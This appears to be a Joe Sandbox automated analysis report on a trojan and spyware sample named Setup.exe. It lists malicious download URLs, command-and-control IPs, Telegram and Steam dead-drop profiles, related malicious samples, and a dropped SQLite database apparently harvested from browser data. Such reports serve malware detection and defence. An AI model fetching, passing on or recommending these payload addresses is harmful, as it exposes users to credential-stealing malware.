Domains

Source	Detection	Scanner	Label	Link
dl.uploadgram.me	7%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://csp.withgoogle.com/csp/report-to/youtube_main	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://www.founder.com.cn/cna-d	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.monotype.6f:	0%	Avira URL Cloud	safe
https://dl.uploadgram.me/	0%	Avira URL Cloud	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.fonts.comic	0%	URL Reputation	safe
http://www.fonts.comic	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
https://dl.uploadgram.me/.u-%	0%	Avira URL Cloud	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://www.galapagosdesign.com/	0%	URL Reputation	safe
http://95.217.16.127:80/get.zip	0%	Avira URL Cloud	safe
https://studio.youtube.comid	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
https://www.youtube.comindex	0%	URL Reputation	safe
https://dl.uploadgram.me/	8%	Virustotal		Browse
http://95.217.16.127/get.zip	0%	Avira URL Cloud	safe
http://www.fonts.comri	0%	Avira URL Cloud	safe
http://www.carterandcone.comyle	0%	Avira URL Cloud	safe
http://www.fonts.coma)d	0%	Avira URL Cloud	safe
https://dl.uploadgram.me/63d00bc6c95a0g?rawHN	0%	Avira URL Cloud	safe
http://95.217.16.127/	0%	Avira URL Cloud	safe
https://dl.uploadgram.me/63bb049fe3c89h?raw	100%	Avira URL Cloud	malware
http://www.carterandcone.comeac)Y	0%	Avira URL Cloud	safe
http://157.90.148.112:80	0%	Avira URL Cloud	safe
http://95.217.16.127:80	0%	Avira URL Cloud	safe
http://95.217.16.12	0%	Avira URL Cloud	safe
http://95.217.16.127/408	100%	Avira URL Cloud	malware
http://79.137.202.127/new.phpinteger	0%	Avira URL Cloud	safe
https://dl.uploadgram.me/63d00bc6c95a0g?raw	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
dl.uploadgram.me	92.222.250.82	true	false	7%, Virustotal, Browse	unknown
youtube-ui.l.google.com	142.250.203.110	true	false		high
t.me	149.154.167.99	true	false		high
www.youtube.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://95.217.16.127/get.zip	true	Avira URL Cloud: safe	unknown
https://dl.uploadgram.me/63bb049fe3c89h?raw	true	Avira URL Cloud: malware	unknown
http://95.217.16.127/	true	Avira URL Cloud: safe	unknown
http://95.217.16.127/408	true	Avira URL Cloud: malware	unknown
https://t.me/litlebey	false		high
https://www.youtube.com/getAccountSwitcherEndpoint	false		high
https://steamcommunity.com/profiles/76561199472399815	false		high
https://dl.uploadgram.me/63d00bc6c95a0g?raw	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
https://t.me/	AppLaunch.exe, 00000002.00000002.299690333.000000000507B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://csp.withgoogle.com/csp/report-to/youtube_main	92398908710653760371.exe, 00000004.00000002.313523866.000000C0003E0000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.315587796.000000C000506000.00000004.00001000.00020000.00000000.sdmp, 92398908710653760371.exe, 00000004.00000002.315587796.000000C00051C000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	68950836275313342672054142.2.dr	false		high
http://www.fontbureau.com/designers/?	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.monotype.6f:	68398609819664439000.exe, 00000008.00000003.313925233.00000000060DA000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313206128.00000000060D9000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313438999.00000000060D9000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
https://web.telegram.org	AppLaunch.exe, 00000002.00000003.268531411.00000000050F9000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.fonts.comri	68398609819664439000.exe, 00000008.00000003.305061822.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305083261.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers?	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://studio.youtube.com/youtubei/v1/ars/grst?alt=json&key=net/http:	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
https://dl.uploadgram.me/	AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	true	8%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://search.yahoo.com?fr=crmas_sfpf	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
http://www.founder.com.cn/cna-d	68398609819664439000.exe, 00000008.00000003.308304563.00000000060FD000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.308248025.00000000060FD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dl.uploadgram.me/.u-%	AppLaunch.exe, 00000002.00000002.299690333.00000000050E7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fontbureau.com/designers	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://95.217.16.127:80/get.zip	AppLaunch.exe, 00000002.00000002.299427028.0000000004CFD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	92398908710653760371.exe, 00000004.00000002.311851337.000000C000160000.00000004.00001000.00020000.00000000.sdmp	false		high
https://youtube.com/inconsistent	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
http://www.sajatypeworks.com	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	68398609819664439000.exe, 00000008.00000003.313438999.00000000060C2000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313982058.00000000060C8000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.313438999.00000000060C8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.comic	68398609819664439000.exe, 00000008.00000003.305000378.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://studio.youtube.com/youtubei/v1/security/get_web_reauth_url?alt=json&key=tls:	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
http://www.carterandcone.comyle	68398609819664439000.exe, 00000008.00000003.310833189.00000000060C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dl.uploadgram.me/63d00bc6c95a0g?rawHN	AppLaunch.exe, 00000002.00000002.299690333.0000000005143000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.fonts.coma)d	68398609819664439000.exe, 00000008.00000003.305000378.00000000060DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.galapagosdesign.com/DPlease	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	68398609819664439000.exe, 00000008.00000003.305061822.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305083261.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305201772.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.305022497.00000000060DB000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studio.youtube.com/youtubei/v1/att/esr?alt=json&key=https://studio.youtube.com/youtubei/v1/a	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
http://www.carterandcone.comeac)Y	68398609819664439000.exe, 00000008.00000003.310833189.00000000060C2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://www.urwpp.deDPlease	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studio.youtube.com/reauth	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
https://t.me/litlebeyhttps://steamcommunity.com/profiles/76561199472399815http://157.90.148.112:80ho	Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	68398609819664439000.exe, 00000008.00000003.309237475.00000000060CE000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.galapagosdesign.com/	68398609819664439000.exe, 00000008.00000003.313438999.00000000060CD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://studio.youtube.comid	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false	URL Reputation: safe	unknown
http://95.217.16.127:80	AppLaunch.exe, 00000002.00000003.268531411.00000000050F2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
https://accounts.google.com/ServiceLogin?service=youtube&passive=1209600&continue=https%3A%2F%2Fwww.	92398908710653760371.exe, 00000004.00000002.311851337.000000C000118000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	68950836275313342672054142.2.dr	false		high
https://search.yahoo.com/favicon.icohttps://search.yahoo.com/search	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
http://157.90.148.112:80	Setup.exe, 00000000.00000003.255863907.0000000002580000.00000040.00001000.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.256285347.00000000002C3000.00000004.00000001.01000000.00000003.sdmp, AppLaunch.exe, AppLaunch.exe, 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://95.217.16.12	AppLaunch.exe, 00000002.00000003.268566166.00000000050EC000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.carterandcone.coml	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/getAccountSwitcherEndpointmallocgc	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
https://ac.ecosia.org/autocomplete?q=	68950836275313342672054142.2.dr	false		high
https://search.yahoo.com?fr=crmas_sfp	AppLaunch.exe, 00000002.00000002.309935962.000000002B601000.00000004.00000020.00020000.00000000.sdmp, 68950836275313342672054142.2.dr	false		high
http://www.fontbureau.com/designers/cabarga.htmlN	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://79.137.202.127/new.phpinteger	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false	Avira URL Cloud: safe	unknown
http://www.founder.com.cn/cn	68398609819664439000.exe, 00000008.00000003.308304563.00000000060FD000.00000004.00000020.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp, 68398609819664439000.exe, 00000008.00000003.308248025.00000000060FD000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://studio.youtube.com/channel/mheap.freeSpanLocked	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false		high
http://www.jiyu-kobo.co.jp/	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.comindex	92398908710653760371.exe, 00000004.00000000.295182414.00000000007B4000.00000002.00000001.01000000.00000006.sdmp, 635965506[1].exe.2.dr, 92398908710653760371.exe.2.dr	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	68398609819664439000.exe, 00000008.00000002.319932320.00000000072D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	68950836275313342672054142.2.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
92.222.250.82	dl.uploadgram.me	France	16276	OVHFR	false
142.250.203.110	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
95.217.16.127	unknown	Germany	24940	HETZNER-ASDE	true
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	791756
Start date and time:	2023-01-25 21:03:21 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	Setup.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@18/10@3/4
EGA Information:	Successful, ratio: 50%
HDC Information:	Successful, ratio: 100% (good quality ratio 80.7%) Quality average: 64.3% Quality standard deviation: 38.8%
HCA Information:	Successful, ratio: 97% Number of executed functions: 95 Number of non-executed functions: 46
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ctldl.windowsupdate.com
Execution Graph export aborted for target Setup.exe, PID 6128 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
21:04:30	API Interceptor	1x Sleep call for process: AppLaunch.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
92.222.250.82	file.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	Setup.exe	Get hash	malicious	Browse
	uZYQRGJf86.exe	Get hash	malicious	Browse
	uZYQRGJf86.exe	Get hash	malicious	Browse
	K7MxVX6Nei.exe	Get hash	malicious	Browse
	gHd7R1qvei.exe	Get hash	malicious	Browse
	3ZCjiZ9TFe.exe	Get hash	malicious	Browse
	Hwid Spoofer free.exe	Get hash	malicious	Browse
95.217.16.127	Setup.exe	Get hash	malicious	Browse	95.217.16.127/
	npp.Installer.x64.exe	Get hash	malicious	Browse	95.217.16.127/
	D5BA7A1B36FD9BFDDC5F9AC2299F23632E21933F052B4.exe	Get hash	malicious	Browse	95.217.16.127/
	E9387D76F1601429FE70F70A48B966F2EF98C5E07A612.exe	Get hash	malicious	Browse	95.217.16.127/
	file.exe	Get hash	malicious	Browse	95.217.16.127/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
dl.uploadgram.me	file.exe	Get hash	malicious	Browse	92.222.250.82
	Setup.exe	Get hash	malicious	Browse	92.222.250.82
	Setup.exe	Get hash	malicious	Browse	92.222.250.82
	uZYQRGJf86.exe	Get hash	malicious	Browse	92.222.250.82
	uZYQRGJf86.exe	Get hash	malicious	Browse	92.222.250.82
	K7MxVX6Nei.exe	Get hash	malicious	Browse	92.222.250.82
	gHd7R1qvei.exe	Get hash	malicious	Browse	92.222.250.82
	gHd7R1qvei.exe	Get hash	malicious	Browse	92.222.250.82
	3ZCjiZ9TFe.exe	Get hash	malicious	Browse	92.222.250.82
	Hwid Spoofer free.exe	Get hash	malicious	Browse	92.222.250.82
	file.exe	Get hash	malicious	Browse	176.9.247.226
	file.exe	Get hash	malicious	Browse	176.9.247.226
	Setup.exe	Get hash	malicious	Browse	176.9.247.226
	Waves Vst Plugin Installer.exe	Get hash	malicious	Browse	176.9.247.226
	R-Studio.v9.1.191039.exe	Get hash	malicious	Browse	176.9.247.226
	R-Studio.v9.1.191039.exe	Get hash	malicious	Browse	176.9.247.226
	R-Studio.v9.1.191039.exe	Get hash	malicious	Browse	176.9.247.226
	tTmBbpASz7.exe	Get hash	malicious	Browse	176.9.247.226
	setup.exe	Get hash	malicious	Browse	176.9.247.226
	qZBd41OM6E.exe	Get hash	malicious	Browse	176.9.247.226

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
HETZNER-ASDE	Setup.exe	Get hash	malicious	Browse	95.217.16.127
	file.exe	Get hash	malicious	Browse	144.76.136.153
	npp.Installer.x64.exe	Get hash	malicious	Browse	95.217.16.127
	989bc6c3-b7c0-4656-999d-f6722cd18b49.vbs	Get hash	malicious	Browse	5.161.115.104
	file.exe	Get hash	malicious	Browse	144.76.136.153
	3qI46Wrw24.exe	Get hash	malicious	Browse	95.217.146.176
	file.exe	Get hash	malicious	Browse	5.75.172.247
	aw9Ynwqd1x.exe	Get hash	malicious	Browse	144.76.136.153
	tPR99t7HF1.exe	Get hash	malicious	Browse	144.76.136.153
	ASHO2xfoII.exe	Get hash	malicious	Browse	95.217.146.176
	D5BA7A1B36FD9BFDDC5F9AC2299F23632E21933F052B4.exe	Get hash	malicious	Browse	95.217.16.127
	S1iAwxHShu.elf	Get hash	malicious	Browse	49.13.250.152
	file.exe	Get hash	malicious	Browse	144.76.136.153
	file.exe	Get hash	malicious	Browse	144.76.136.153
	HEUR-Trojan.Win32.Crypt.gen-e026bc9a0b7ac31a8.exe	Get hash	malicious	Browse	148.251.234.93
	E9387D76F1601429FE70F70A48B966F2EF98C5E07A612.exe	Get hash	malicious	Browse	95.217.16.127
	file.exe	Get hash	malicious	Browse	144.76.136.153
	prog.apk	Get hash	malicious	Browse	144.76.58.8
	file.exe	Get hash	malicious	Browse	144.76.136.153
	D677F86403915B15AB62B1278CC7E6A8F2A98DE2BA6A8.exe	Get hash	malicious	Browse	148.251.234.93
OVHFR	file.exe	Get hash	malicious	Browse	5.135.247.111
	Processed payment senecacollege.shtml	Get hash	malicious	Browse	51.195.104.53
	file.exe	Get hash	malicious	Browse	5.135.247.111
	Processed payment senecacollege.shtml	Get hash	malicious	Browse	51.195.104.53
	file.exe	Get hash	malicious	Browse	5.135.247.111
	http://url4158.imeetify.com/ls/click?upn=cuiF9G-2BL8z-2Bwvkq-2FCmDs6kd1dMMX3ydY3s25XvCwtkGmgXKOeLCCXCNUbbCsIWCHayR9SOhH1Wnf8vFzhOer8juesMI762GMEfOnE73T-2BxM-3D5reN_MDI6agRqhN5svOHRSDA7eZuKi4uFyPzTFD1vjcTk1IBa299DS1nfJ4oJ7pYF-2BwSQTvfjDQMYnF6jaYu0HoWp8VjJ-2B6JH9l1bQr3jH7T4yrNuTb8k8yhT-2BJDJZaBO07eIPj4GQ4O4CSm62ZaWFI08-2B9Vuk14sImEW-2BKe3zBPNiNEd2unaYSuVCH4Gec8Bz9yivo6WF-2FAHxLUVq5y8g9YDIA-3D-3D	Get hash	malicious	Browse	198.50.195.176
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	https://bit.ly/3Ho4MDy	Get hash	malicious	Browse	167.114.119.127
	ZKag9wx3mO.elf	Get hash	malicious	Browse	145.239.41.124
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	1x3IHc9N4r.exe	Get hash	malicious	Browse	51.89.157.248
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111
	file.exe	Get hash	malicious	Browse	5.135.247.111

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Accor_eFax_Reff_664184.html	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	payment_receipt8371.pdf.htm	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	payment_receipt8371.pdf.htm	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	Setup.exe	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	8XJE1azNII.cmd	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	bwlUlnek8c.lnk	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://vmi1170834.contaboserver.net/helped.html#ttuss@zootweb.com	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	PAYMENT TRANSCRIPTION.htm	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://www.bing.com/ck/a?!&&p=221a3c71d732626fJmltdHM9MTY3NDYwNDgwMCZpZ3VpZD0yYmMzYjc2YS1kNjBhLTYwNmUtMWNkYy1hNWNlZDcwMzYxYmEmaW5zaWQ9NTIwNw&ptn=3&hsh=3&fclid=2bc3b76a-d60a-606e-1cdc-a5ced70361ba&u=a1aHR0cHM6Ly9rdGRiLm9yZy90YWcva2lsby1rb3J1bWEv&ntb=1?449217=YXdhc2RpbkBwb3J0b2Z2aXJnaW5pYS5jb20N	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	#U260e#Ufe0f voice_messaging_01242023.htm	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	Employee_Benefit.html	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	Completed Signed Agreement.html	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://www.taskade.com/d/RbkZPLgdKBbJok28?share=view&view=vY5xsa1pihPEKtpC&as=list	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	5453464.htm	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	message_zdm.html	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://indd.adobe.com/view/653bf9e7-4309-4a5f-b076-d7adc45f6116	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://swlat.com/NxPj--HEungY--AkfeeBYfqv/aPNSN--GdfAXmnw--HbcBBHb/index.html#Jean-dominique.Jouaud@chantiers-atlantique.com	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	npp.Installer.x64.exe	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://soportemvd.m.uy/kan/privateinvestordeck/index.html	Get hash	malicious	Browse	92.222.250.82 149.154.167.99
	https://portal.na1prd.taulia.com/doclink/d4d7689be5d64be35e0308d26a9a902f34ee418a	Get hash	malicious	Browse	92.222.250.82 149.154.167.99

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\21325296957398731694773527

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 3, database pages 45, cookie 0x3d, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	94208
Entropy (8bit):	1.2891393435168748
Encrypted:	false
SSDEEP:	192:Qo1/8dpUXbSzTPJPe6IVuvCySEwn7PrH944:QS/inmjVuaySEwn7b944
MD5:	037D23498B81732EEAAAD0E8015F3F85
SHA1:	E7719865D7717A4B36D85609F3EC25C10934587F
SHA-256:	83AA9D5727AD94D394C57A969A7C53C37F79513316FA5E0283A750C886F342D4
SHA-512:	BFFFB8C7759B65BABD232200305699551AC9BF9BF2C778D5DA124A677900869254C6AB4439BF2A99E08690C29C5A2B17EEEBA7382CF4EAAB12168462A49B3D7D
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......-...........=......................................................[5...........*........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\38254479512155858792028101

Download File

